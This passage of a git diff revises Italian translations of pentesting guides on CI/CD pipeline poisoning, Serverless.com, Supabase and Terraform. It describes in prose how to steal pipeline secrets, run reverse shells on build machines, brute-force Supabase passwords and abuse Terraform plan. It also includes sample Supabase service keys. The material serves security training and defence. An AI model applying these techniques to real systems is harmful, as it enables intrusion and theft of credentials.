e gli **URL di origine**. Nota che i token API vengono generati con i permessi dell'utente che ha creato il token e sono validi solo se l'**utente** che li ha creati è **attivo**. +Puoi creare token API di Okta in questa pagina e vedere quelli che sono stati **creati**, i loro **privilegi**, il **tempo di scadenza** e gli **Origin URLs**. Nota che i token API vengono generati con i permessi dell'utente che ha creato il token e sono validi solo se l'**utente** che li ha creati è **attivo**. -Le **Origini Affidabili** concedono accesso ai siti web che controlli e di cui ti fidi per accedere alla tua organizzazione Okta tramite l'API di Okta. +I **Trusted Origins** concedono accesso ai siti web che controlli e di cui ti fidi per accedere alla tua organizzazione Okta tramite l'API di Okta. Non dovrebbero esserci molti token API, poiché se ce ne sono un attaccante potrebbe cercare di accedervi e usarli. diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 8af0e6f1a..fb5b964e1 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -1,4 +1,4 @@ -# Pentesting CI/CD Methodology +# Metodologia di Pentesting CI/CD {{#include ../banners/hacktricks-training.md}} @@ -14,13 +14,13 @@ VCS sta per **Version Control System**, questi sistemi consentono agli sviluppat - Gitea - Fornitori di cloud (offrono le proprie piattaforme VCS) -## CI/CD Pipelines +## Pipeline CI/CD Le pipeline CI/CD consentono agli sviluppatori di **automatizzare l'esecuzione del codice** per vari scopi, inclusi la costruzione, il test e il deployment delle applicazioni. Questi flussi di lavoro automatizzati sono **attivati da azioni specifiche**, come push di codice, pull request o attività programmate. Sono utili per semplificare il processo dallo sviluppo alla produzione. Tuttavia, questi sistemi devono essere **eseguiti da qualche parte** e di solito con **credenziali privilegiate per distribuire codice o accedere a informazioni sensibili**. -## VCS Pentesting Methodology +## Metodologia di Pentesting VCS > [!NOTE] > Anche se alcune piattaforme VCS consentono di creare pipeline, in questa sezione analizzeremo solo i potenziali attacchi al controllo del codice sorgente. @@ -28,33 +28,33 @@ Tuttavia, questi sistemi devono essere **eseguiti da qualche parte** e di solito Le piattaforme che contengono il codice sorgente del tuo progetto contengono informazioni sensibili e le persone devono essere molto attente ai permessi concessi all'interno di questa piattaforma. Questi sono alcuni problemi comuni tra le piattaforme VCS che un attaccante potrebbe sfruttare: - **Leaks**: Se il tuo codice contiene leak nei commit e l'attaccante può accedere al repo (perché è pubblico o perché ha accesso), potrebbe scoprire i leak. -- **Access**: Se un attaccante può **accedere a un account all'interno della piattaforma VCS**, potrebbe guadagnare **maggiore visibilità e permessi**. -- **Register**: Alcune piattaforme consentiranno solo agli utenti esterni di creare un account. +- **Accesso**: Se un attaccante può **accedere a un account all'interno della piattaforma VCS**, potrebbe guadagnare **maggiore visibilità e permessi**. +- **Registrazione**: Alcune piattaforme consentiranno solo agli utenti esterni di creare un account. - **SSO**: Alcune piattaforme non consentiranno agli utenti di registrarsi, ma permetteranno a chiunque di accedere con un SSO valido (quindi un attaccante potrebbe usare il suo account github per entrare, ad esempio). -- **Credentials**: Nome utente+Pwd, token personali, chiavi ssh, token Oauth, cookie... ci sono diversi tipi di token che un utente potrebbe rubare per accedere in qualche modo a un repo. -- **Webhooks**: Le piattaforme VCS consentono di generare webhooks. Se non sono **protetti** con segreti non visibili, un **attaccante potrebbe abusarne**. +- **Credenziali**: Nome utente + Pwd, token personali, chiavi ssh, token Oauth, cookie... ci sono diversi tipi di token che un utente potrebbe rubare per accedere in qualche modo a un repo. +- **Webhook**: Le piattaforme VCS consentono di generare webhook. Se non sono **protetti** con segreti non visibili, un **attaccante potrebbe abusarne**. - Se non c'è alcun segreto in atto, l'attaccante potrebbe abusare del webhook della piattaforma di terze parti. - Se il segreto è nell'URL, succede la stessa cosa e l'attaccante ha anche il segreto. -- **Code compromise:** Se un attore malintenzionato ha qualche tipo di accesso **in scrittura** sui repo, potrebbe cercare di **iniettare codice malevolo**. Per avere successo, potrebbe dover **bypassare le protezioni dei branch**. Queste azioni possono essere eseguite con diversi obiettivi in mente: +- **Compromissione del codice:** Se un attore malintenzionato ha qualche tipo di accesso **in scrittura** sui repo, potrebbe cercare di **iniettare codice malevolo**. Per avere successo, potrebbe dover **bypassare le protezioni dei branch**. Queste azioni possono essere eseguite con diversi obiettivi in mente: - Compromettere il branch principale per **compromettere la produzione**. - Compromettere il principale (o altri branch) per **compromettere le macchine degli sviluppatori** (poiché di solito eseguono test, terraform o altre cose all'interno del repo sulle loro macchine). - **Compromettere la pipeline** (controlla la sezione successiva). -## Pipelines Pentesting Methodology +## Metodologia di Pentesting delle Pipeline Il modo più comune per definire una pipeline è utilizzare un **file di configurazione CI ospitato nel repository** che la pipeline costruisce. Questo file descrive l'ordine dei lavori eseguiti, le condizioni che influenzano il flusso e le impostazioni dell'ambiente di build.\ -Questi file di solito hanno un nome e un formato coerenti, ad esempio — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) e i file YAML di GitHub Actions situati sotto .github/workflows. Quando attivata, la job della pipeline **estrae il codice** dalla sorgente selezionata (ad es. commit / branch) e **esegue i comandi specificati nel file di configurazione CI** contro quel codice. +Questi file di solito hanno un nome e un formato coerenti, ad esempio — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) e i file YAML delle GitHub Actions situati sotto .github/workflows. Quando attivata, la job della pipeline **estrae il codice** dalla sorgente selezionata (ad es. commit / branch) e **esegue i comandi specificati nel file di configurazione CI** contro quel codice. Pertanto, l'obiettivo finale dell'attaccante è in qualche modo **compromettere quei file di configurazione** o i **comandi che eseguono**. -### PPE - Poisoned Pipeline Execution +### PPE - Esecuzione di Pipeline Avvelenate -Il percorso Poisoned Pipeline Execution (PPE) sfrutta i permessi in un repository SCM per manipolare una pipeline CI e eseguire comandi dannosi. Gli utenti con i permessi necessari possono modificare i file di configurazione CI o altri file utilizzati dal job della pipeline per includere comandi malevoli. Questo "avvelena" la pipeline CI, portando all'esecuzione di questi comandi malevoli. +Il percorso di Esecuzione di Pipeline Avvelenate (PPE) sfrutta i permessi in un repository SCM per manipolare una pipeline CI ed eseguire comandi dannosi. Gli utenti con i permessi necessari possono modificare i file di configurazione CI o altri file utilizzati dal job della pipeline per includere comandi malevoli. Questo "avvelena" la pipeline CI, portando all'esecuzione di questi comandi malevoli. Affinché un attore malintenzionato abbia successo nell'eseguire un attacco PPE, deve essere in grado di: - Avere **accesso in scrittura alla piattaforma VCS**, poiché di solito le pipeline vengono attivate quando viene eseguito un push o una pull request. (Controlla la metodologia di pentesting VCS per un riepilogo dei modi per ottenere accesso). -- Nota che a volte un **PR esterno conta come "accesso in scrittura"**. +- Nota che a volte una **PR esterna conta come "accesso in scrittura"**. - Anche se ha permessi di scrittura, deve essere sicuro di poter **modificare il file di configurazione CI o altri file su cui si basa la configurazione**. - Per questo, potrebbe dover essere in grado di **bypassare le protezioni dei branch**. @@ -62,42 +62,42 @@ Ci sono 3 varianti di PPE: - **D-PPE**: Un attacco **Direct PPE** si verifica quando l'attore **modifica il file di configurazione CI** che verrà eseguito. - **I-DDE**: Un attacco **Indirect PPE** si verifica quando l'attore **modifica** un **file** su cui il file di configurazione CI che verrà eseguito **si basa** (come un file make o una configurazione terraform). -- **Public PPE o 3PE**: In alcuni casi, le pipeline possono essere **attivate da utenti che non hanno accesso in scrittura nel repo** (e che potrebbero non essere nemmeno parte dell'organizzazione) perché possono inviare un PR. -- **3PE Command Injection**: Di solito, le pipeline CI/CD **imposteranno variabili di ambiente** con **informazioni sul PR**. Se quel valore può essere controllato da un attaccante (come il titolo del PR) ed è **utilizzato** in un **luogo pericoloso** (come l'esecuzione di **comandi sh**), un attaccante potrebbe **iniettare comandi lì**. +- **Public PPE o 3PE**: In alcuni casi, le pipeline possono essere **attivate da utenti che non hanno accesso in scrittura nel repo** (e che potrebbero non essere nemmeno parte dell'organizzazione) perché possono inviare una PR. +- **3PE Command Injection**: Di solito, le pipeline CI/CD **impostano variabili di ambiente** con **informazioni sulla PR**. Se quel valore può essere controllato da un attaccante (come il titolo della PR) ed è **utilizzato** in un **luogo pericoloso** (come l'esecuzione di **comandi sh**), un attaccante potrebbe **iniettare comandi lì**. -### Exploitation Benefits +### Vantaggi dell'Exploitation Conoscendo le 3 varianti per avvelenare una pipeline, vediamo cosa un attaccante potrebbe ottenere dopo un'esploitazione riuscita: -- **Secrets**: Come menzionato in precedenza, le pipeline richiedono **privilegi** per i loro lavori (recuperare il codice, costruirlo, distribuirlo...) e questi privilegi sono solitamente **concessi in segreti**. Questi segreti sono di solito accessibili tramite **variabili di ambiente o file all'interno del sistema**. Pertanto, un attaccante cercherà sempre di esfiltrare quanti più segreti possibile. -- A seconda della piattaforma della pipeline, l'attaccante **potrebbe dover specificare i segreti nella configurazione**. Questo significa che se l'attaccante non può modificare la pipeline di configurazione CI (**I-PPE** ad esempio), potrebbe **solo esfiltrare i segreti che quella pipeline ha**. -- **Computation**: Il codice viene eseguito da qualche parte, a seconda di dove viene eseguito, un attaccante potrebbe essere in grado di pivotare ulteriormente. +- **Segreti**: Come menzionato in precedenza, le pipeline richiedono **privilegi** per i loro lavori (recuperare il codice, costruirlo, distribuirlo...) e questi privilegi sono solitamente **concessi in segreti**. Questi segreti sono di solito accessibili tramite **variabili di ambiente o file all'interno del sistema**. Pertanto, un attaccante cercherà sempre di esfiltrare quanti più segreti possibile. +- A seconda della piattaforma della pipeline, l'attaccante **potrebbe dover specificare i segreti nella configurazione**. Questo significa che se l'attaccante non può modificare la pipeline di configurazione CI (**I-PPE** per esempio), potrebbe **solo esfiltrare i segreti che quella pipeline ha**. +- **Computazione**: Il codice viene eseguito da qualche parte, a seconda di dove viene eseguito, un attaccante potrebbe essere in grado di pivotare ulteriormente. - **On-Premises**: Se le pipeline vengono eseguite in sede, un attaccante potrebbe finire in una **rete interna con accesso a più risorse**. - **Cloud**: L'attaccante potrebbe accedere a **altre macchine nel cloud** ma potrebbe anche **esfiltrare** i token **IAM roles/service accounts** da esso per ottenere **ulteriore accesso all'interno del cloud**. -- **Platforms machine**: A volte i lavori verranno eseguiti all'interno delle **macchine della piattaforma delle pipeline**, che di solito si trovano all'interno di un cloud con **nessun altro accesso**. -- **Select it:** A volte la **piattaforma delle pipeline avrà configurato diverse macchine** e se puoi **modificare il file di configurazione CI** puoi **indicare dove vuoi eseguire il codice malevolo**. In questa situazione, un attaccante probabilmente eseguirà una reverse shell su ciascuna possibile macchina per cercare di sfruttarla ulteriormente. -- **Compromise production**: Se sei all'interno della pipeline e la versione finale viene costruita e distribuita da essa, potresti **compromettere il codice che andrà a finire in produzione**. +- **Macchine della piattaforma**: A volte i lavori verranno eseguiti all'interno delle **macchine della piattaforma delle pipeline**, che di solito si trovano all'interno di un cloud con **nessun altro accesso**. +- **Selezionalo:** A volte la **piattaforma delle pipeline avrà configurato diverse macchine** e se puoi **modificare il file di configurazione CI** puoi **indicare dove vuoi eseguire il codice malevolo**. In questa situazione, un attaccante probabilmente eseguirà una reverse shell su ogni possibile macchina per cercare di sfruttarla ulteriormente. +- **Compromettere la produzione**: Se sei all'interno della pipeline e la versione finale viene costruita e distribuita da essa, potresti **compromettere il codice che andrà a finire in produzione**. -## More relevant info +## Maggiori informazioni rilevanti -### Tools & CIS Benchmark +### Strumenti & Benchmark CIS -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) è uno strumento open-source per l'audit della tua catena di fornitura software per la conformità alla sicurezza basato su un nuovo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit si concentra sull'intero processo SDLC, dove può rivelare rischi dal tempo di codice al tempo di distribuzione. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) è uno strumento open-source per l'audit della tua catena di fornitura software per la conformità alla sicurezza basato su un nuovo [**benchmark CIS Software Supply Chain**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit si concentra sull'intero processo SDLC, dove può rivelare rischi dal momento del codice fino al momento del deployment. -### Top 10 CI/CD Security Risk +### Top 10 Rischi di Sicurezza CI/CD Controlla questo interessante articolo sui 10 principali rischi CI/CD secondo Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) -### Labs +### Laboratori -- Su ciascuna piattaforma che puoi eseguire localmente troverai come lanciarla localmente in modo da poterla configurare come desideri per testarla. +- Su ogni piattaforma che puoi eseguire localmente troverai come lanciarla localmente in modo da poterla configurare come desideri per testarla. - Laboratorio Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) -### Automatic Tools +### Strumenti Automatici - [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** è uno strumento di analisi statica del codice per l'infrastruttura come codice. -## References +## Riferimenti - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index 2670009dc..d311a59b7 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -1,8 +1,8 @@ -# Serverless.com Security +# Sicurezza di Serverless.com {{#include ../banners/hacktricks-training.md}} -## Informazioni di base +## Informazioni di Base ### Organizzazione @@ -32,7 +32,7 @@ handler: handler.hello Funzione -Una **Funzione** rappresenta una singola funzione serverless, come una funzione AWS Lambda. Contiene il codice che viene eseguito in risposta agli eventi. +Una **Funzione** rappresenta una singola funzione serverless, come una funzione AWS Lambda. Contiene il codice che viene eseguito in risposta a eventi. È definita nella sezione `functions` in `serverless.yml`, specificando il gestore, il runtime, gli eventi, le variabili d'ambiente e altre impostazioni. ```yaml @@ -52,7 +52,7 @@ method: get **Eventi** sono attivatori che invocano le tue funzioni serverless. Definiscono come e quando una funzione dovrebbe essere eseguita. -I tipi di eventi comuni includono richieste HTTP, eventi programmati (lavori cron), eventi del database, caricamenti di file e altro ancora. +I tipi di eventi comuni includono richieste HTTP, eventi programmati (cron job), eventi del database, caricamenti di file e altro ancora. ```yaml functions: hello: @@ -138,9 +138,9 @@ plugins:
-Layers +Strati -**Layers** ti permettono di impacchettare e gestire codice condiviso o dipendenze separatamente dalle tue funzioni. Questo promuove la riutilizzabilità e riduce le dimensioni dei pacchetti di distribuzione. Sono definiti nella sezione `layers` e referenziati dalle funzioni. +**Strati** ti permettono di impacchettare e gestire codice condiviso o dipendenze separatamente dalle tue funzioni. Questo promuove la riutilizzabilità e riduce le dimensioni dei pacchetti di distribuzione. Sono definiti nella sezione `layers` e referenziati dalle funzioni. ```yaml layers: commonLibs: @@ -399,7 +399,7 @@ Type: String ```
-5. Il tutorial chiede di creare il file `createCustomer.js` che sostanzialmente creerà un nuovo endpoint API gestito dal nuovo file JS e chiede di modificare il file `serverless.yml` per far sì che generi un **nuovo tavolo DynamoDB**, definisca una **variabile d'ambiente**, il ruolo che utilizzerà le lambdas generate. +5. Il tutorial chiede di creare il file `createCustomer.js` che sostanzialmente creerà un nuovo endpoint API gestito dal nuovo file JS e chiede di modificare il file `serverless.yml` per far sì che generi una **nuova tabella DynamoDB**, definisca una **variabile d'ambiente**, il ruolo che utilizzerà le lambdas generate. {{#tabs }} {{#tab name="createCustomer.js" }} @@ -482,10 +482,10 @@ TableName: ${self:service}-customerTable-${sls:stage} {{#endtabs }} 6. Distribuiscilo eseguendo **`serverless deploy`** -1. Il deployment verrà eseguito tramite un CloudFormation Stack +1. La distribuzione verrà eseguita tramite un CloudFormation Stack 2. Nota che le **lambdas sono esposte tramite API gateway** e non tramite URL diretti 7. **Testalo** -1. Il passaggio precedente stamperà gli **URL** dove le tue funzioni lambda degli endpoint API sono state distribuite +1. Il passaggio precedente stamperà gli **URL** dove le funzioni lambda dei tuoi endpoint API sono state distribuite ## Revisione della Sicurezza di Serverless.com @@ -527,7 +527,7 @@ Quando non vengono specificati permessi per una funzione Lambda, verrà creato u #### **Strategie di Mitigazione** -- **Principio del Minimo Privilegio:** Assegna solo i permessi necessari a ciascuna funzione. +- **Principio del Minimo Privilegio:** Assegna solo le autorizzazioni necessarie a ciascuna funzione. ```yaml provider: @@ -549,16 +549,16 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}- --- -### **Segreti Insecure e Gestione della Configurazione** +### **Segreti e Gestione della Configurazione Insicuri** Memorizzare informazioni sensibili (ad es., chiavi API, credenziali del database) direttamente in **`serverless.yml`** o nel codice può portare a esposizione se i repository vengono compromessi. -Il modo **raccomandato** per memorizzare variabili d'ambiente nel file **`serverless.yml`** di serverless.com (al momento della scrittura) è utilizzare i provider `ssm` o `s3`, che consentono di ottenere i **valori dell'ambiente da queste fonti al momento del deployment** e **configurare** le variabili d'ambiente delle **lambdas** con il **testo chiaro dei valori**! +Il modo **raccomandato** per memorizzare variabili di ambiente nel file **`serverless.yml`** di serverless.com (al momento della scrittura) è utilizzare i provider `ssm` o `s3`, che consentono di ottenere **i valori di ambiente da queste fonti al momento del deployment** e **configurare** le variabili di ambiente delle **lambdas** con il **testo chiaro dei valori**! > [!CAUTION] -> Pertanto, chiunque abbia permessi per leggere la configurazione delle lambdas all'interno di AWS sarà in grado di **accedere a tutte queste variabili d'ambiente in testo chiaro!** +> Pertanto, chiunque abbia autorizzazioni per leggere la configurazione delle lambdas all'interno di AWS sarà in grado di **accedere a tutte queste variabili di ambiente in chiaro!** -Ad esempio, il seguente esempio utilizzerà SSM per ottenere una variabile d'ambiente: +Ad esempio, il seguente esempio utilizzerà SSM per ottenere una variabile di ambiente: ```yaml provider: environment: @@ -661,7 +661,7 @@ headers: - Content-Type ``` -- **Utilizzare Firewall per Applicazioni Web (WAF):** Filtrare e monitorare le richieste HTTP per schemi malevoli. +- **Utilizzare Firewall per Applicazioni Web (WAF):** Filtrare e monitorare le richieste HTTP per modelli malevoli. --- @@ -707,12 +707,12 @@ SSEEnabled: true ``` - **Crittografare i Dati in Transito:** Utilizzare HTTPS/TLS per tutte le trasmissioni di dati. -- **Comunicazione API Sicura:** Applicare protocolli di crittografia e convalidare i certificati. -- **Gestire Sicuramente le Chiavi di Crittografia:** Utilizzare servizi di gestione delle chiavi e ruotare le chiavi regolarmente. +- **Comunicazione API Sicura:** Forzare protocolli di crittografia e convalidare certificati. +- **Gestire le Chiavi di Crittografia in Modo Sicuro:** Utilizzare servizi di gestione delle chiavi e ruotare le chiavi regolarmente. --- -### **Mancanza di Gestione Adeguata degli Errori** +### **Mancanza di Gestione degli Errori Adeguata** Messaggi di errore dettagliati possono rivelare informazioni sensibili sull'infrastruttura o sul codice, mentre eccezioni non gestite possono portare a crash dell'applicazione. @@ -746,14 +746,14 @@ Configurazioni di deployment esposte o accesso non autorizzato a pipeline CI/CD #### **Strategie di Mitigazione** -- **Sicurezza delle Pipeline CI/CD:** Implementare controlli di accesso rigorosi, autenticazione a più fattori (MFA) e audit regolari. -- **Memorizzare le Configurazioni in Sicurezza:** Mantenere i file di deployment privi di segreti codificati e dati sensibili. -- **Utilizzare Strumenti di Sicurezza per Infrastructure as Code (IaC):** Impiegare strumenti come **Checkov** o **Terraform Sentinel** per applicare politiche di sicurezza. +- **Pipeline CI/CD Sicure:** Implementare controlli di accesso rigorosi, autenticazione a più fattori (MFA) e audit regolari. +- **Memorizzare le Configurazioni in Modo Sicuro:** Mantenere i file di deployment privi di segreti codificati e dati sensibili. +- **Utilizzare Strumenti di Sicurezza per l'Infrastructure as Code (IaC):** Impiegare strumenti come **Checkov** o **Terraform Sentinel** per far rispettare le politiche di sicurezza. - **Deployment Immutabili:** Prevenire modifiche non autorizzate dopo il deployment adottando pratiche di infrastruttura immutabile. --- -### **Vulnerabilità in Plugin ed Estensioni** +### **Vulnerabilità nei Plugin e nelle Estensioni** Utilizzare plugin di terze parti non verificati o malevoli può introdurre vulnerabilità nelle tue applicazioni serverless. @@ -774,14 +774,14 @@ Funzioni pubblicamente accessibili o API senza restrizioni possono essere sfrutt - **Limitare l'Accesso alle Funzioni:** Utilizzare VPC, gruppi di sicurezza e regole del firewall per limitare l'accesso a fonti fidate. - **Implementare Autenticazione Robusta:** Assicurarsi che tutti gli endpoint esposti richiedano una corretta autenticazione e autorizzazione. -- **Utilizzare Sicuramente gli API Gateway:** Configurare gli API Gateway per applicare politiche di sicurezza, inclusa la validazione degli input e la limitazione della frequenza. +- **Utilizzare Sicuramente gli API Gateway:** Configurare gli API Gateway per far rispettare le politiche di sicurezza, inclusa la validazione degli input e la limitazione della frequenza. - **Disabilitare Endpoint Non Utilizzati:** Rivedere regolarmente e disabilitare eventuali endpoint che non sono più in uso. --- ### **Permessi Eccessivi per Membri del Team e Collaboratori Esterni** -Concedere permessi eccessivi ai membri del team e ai collaboratori esterni può portare ad accessi non autorizzati, violazioni dei dati e uso improprio delle risorse. Questo rischio è amplificato in ambienti in cui più individui hanno livelli di accesso variabili, aumentando la superficie di attacco e il potenziale per minacce interne. +Concedere permessi eccessivi a membri del team e collaboratori esterni può portare ad accessi non autorizzati, violazioni dei dati e uso improprio delle risorse. Questo rischio è aumentato in ambienti in cui più individui hanno livelli di accesso variabili, aumentando la superficie di attacco e il potenziale per minacce interne. #### **Strategie di Mitigazione** diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index 061122359..9233bc230 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -13,10 +13,10 @@ Fondamentalmente, quando viene creato un progetto, l'utente riceverà un sottodo ## **Configurazione del database** > [!TIP] -> **Questi dati possono essere accessibili tramite un link come `https://supabase.com/dashboard/project//settings/database`** +> **Questi dati possono essere accessibili da un link come `https://supabase.com/dashboard/project//settings/database`** Questo **database** sarà distribuito in una regione AWS e, per connettersi ad esso, sarà possibile farlo collegandosi a: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (questo è stato creato in us-west-1).\ -La password è una **password che l'utente ha inserito** in precedenza. +La password è una **password che l'utente ha inserito** precedentemente. Pertanto, poiché il sottodominio è noto ed è utilizzato come nome utente e le regioni AWS sono limitate, potrebbe essere possibile provare a **forzare la password**. @@ -31,13 +31,13 @@ Questa sezione contiene anche opzioni per: ## Configurazione API > [!TIP] -> **Questi dati possono essere accessibili tramite un link come `https://supabase.com/dashboard/project//settings/api`** +> **Questi dati possono essere accessibili da un link come `https://supabase.com/dashboard/project//settings/api`** L'URL per accedere all'API supabase nel tuo progetto sarà simile a: `https://jnanozjdybtpqgcwhdiz.supabase.co`. -### chiavi API anonime +### chiavi api anon -Genererà anche una **chiave API anonima** (`role: "anon"`), come: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` che l'applicazione dovrà utilizzare per contattare la chiave API esposta nel nostro esempio in +Genererà anche una **chiave API anon** (`role: "anon"`), come: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` che l'applicazione dovrà utilizzare per contattare la chiave API esposta nel nostro esempio in È possibile trovare l'API REST per contattare questa API nella [**documentazione**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), ma gli endpoint più interessanti sarebbero: @@ -101,13 +101,13 @@ Priority: u=1, i Quindi, ogni volta che scopri un cliente che utilizza supabase con il sottodominio che gli è stato assegnato (è possibile che un sottodominio dell'azienda abbia un CNAME sul loro sottodominio supabase), potresti provare a **creare un nuovo account nella piattaforma utilizzando l'API di supabase**. -### chiavi api segrete / service_role +### chiavi API segrete / service_role Una chiave API segreta verrà generata anche con **`role: "service_role"`**. Questa chiave API dovrebbe essere segreta perché sarà in grado di bypassare **Row Level Security**. La chiave API appare così: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` -### Segreto JWT +### JWT Secret Un **JWT Secret** verrà generato anche affinché l'applicazione possa **creare e firmare token JWT personalizzati**. @@ -119,7 +119,7 @@ Un **JWT Secret** verrà generato anche affinché l'applicazione possa **creare > Per **default** supabase consentirà **ai nuovi utenti di creare account** nel tuo progetto utilizzando gli endpoint API precedentemente menzionati. Tuttavia, questi nuovi account, per impostazione predefinita, **dovranno convalidare il loro indirizzo email** per poter accedere all'account. È possibile abilitare **"Consenti accessi anonimi"** per consentire alle persone di accedere senza verificare il loro indirizzo email. Questo potrebbe concedere accesso a **dati inaspettati** (ottengono i ruoli `public` e `authenticated`).\ -Questa è un'idea molto cattiva perché supabase addebita per utente attivo, quindi le persone potrebbero creare utenti e accedere e supabase addebiterà per questi: +Questa è un'idea molto cattiva perché supabase addebita per ogni utente attivo, quindi le persone potrebbero creare utenti e accedere e supabase addebiterà per questi:
@@ -140,8 +140,8 @@ Si consiglia di **migliorare i requisiti poiché quelli predefiniti sono deboli* - Imposta il tempo di scadenza per i token di accesso (3600 per impostazione predefinita) - Imposta per rilevare e revocare i token di aggiornamento potenzialmente compromessi e timeout - MFA: Indica quanti fattori MFA possono essere registrati contemporaneamente per utente (10 per impostazione predefinita) -- Max Connessioni Dirette al Database: Numero massimo di connessioni utilizzate per l'autenticazione (10 per impostazione predefinita) -- Massima Durata della Richiesta: Tempo massimo consentito per una richiesta di autenticazione (10s per impostazione predefinita) +- Max Direct Database Connections: Numero massimo di connessioni utilizzate per l'autenticazione (10 per impostazione predefinita) +- Max Request Duration: Tempo massimo consentito per la durata di una richiesta di autenticazione (10s per impostazione predefinita) ## Archiviazione @@ -154,6 +154,6 @@ Si consiglia di **migliorare i requisiti poiché quelli predefiniti sono deboli* ## Funzioni Edge -È possibile **archiviare segreti** in supabase che saranno **accessibili dalle funzioni edge** (possono essere create e eliminate dal web, ma non è possibile accedere direttamente al loro valore). +È possibile **memorizzare segreti** in supabase che saranno **accessibili dalle funzioni edge** (possono essere create e eliminate dal web, ma non è possibile accedere direttamente al loro valore). {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 1c2f1457d..0a4e27dac 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -6,7 +6,7 @@ [Dal documento:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform è uno **strumento di infrastruttura come codice** che ti consente di definire sia **risorse cloud che on-prem** in file di configurazione leggibili dall'uomo che puoi versionare, riutilizzare e condividere. Puoi quindi utilizzare un flusso di lavoro coerente per fornire e gestire tutta la tua infrastruttura durante il suo ciclo di vita. Terraform può gestire componenti a basso livello come risorse di calcolo, archiviazione e rete, così come componenti ad alto livello come voci DNS e funzionalità SaaS. +HashiCorp Terraform è uno strumento di **infrastruttura come codice** che consente di definire sia **risorse cloud che on-prem** in file di configurazione leggibili dall'uomo che puoi versionare, riutilizzare e condividere. Puoi quindi utilizzare un flusso di lavoro coerente per fornire e gestire tutta la tua infrastruttura durante il suo ciclo di vita. Terraform può gestire componenti a basso livello come risorse di calcolo, archiviazione e rete, così come componenti ad alto livello come voci DNS e funzionalità SaaS. #### Come funziona Terraform? @@ -48,13 +48,13 @@ Se riesci a compromettere un file terraform, ci sono diversi modi in cui puoi es ### Terraform plan -Terraform plan è il **comando più utilizzato** in terraform e gli sviluppatori/soluzioni che utilizzano terraform lo chiamano tutto il tempo, quindi il **modo più semplice per ottenere RCE** è assicurarsi di avvelenare un file di configurazione terraform che eseguirà comandi arbitrari in un `terraform plan`. +Terraform plan è il **comando più utilizzato** in terraform e gli sviluppatori/soluzioni che utilizzano terraform lo chiamano continuamente, quindi il **modo più semplice per ottenere RCE** è assicurarsi di avvelenare un file di configurazione terraform che eseguirà comandi arbitrari in un `terraform plan`. **Utilizzando un provider esterno** -Terraform offre il [`provider` esterno](https://registry.terraform.io/providers/hashicorp/external/latest/docs) che fornisce un modo per interfacciarsi tra Terraform e programmi esterni. Puoi utilizzare la sorgente dati `esterno` per eseguire codice arbitrario durante un `plan`. +Terraform offre il [`provider esterno`](https://registry.terraform.io/providers/hashicorp/external/latest/docs) che fornisce un modo per interfacciarsi tra Terraform e programmi esterni. Puoi utilizzare la sorgente dati `esterno` per eseguire codice arbitrario durante un `plan`. -Iniettando in un file di configurazione terraform qualcosa di simile al seguente eseguirà una rev shell quando si esegue `terraform plan`: +Iniettando in un file di configurazione terraform qualcosa di simile a quanto segue eseguirà una rev shell quando si esegue `terraform plan`: 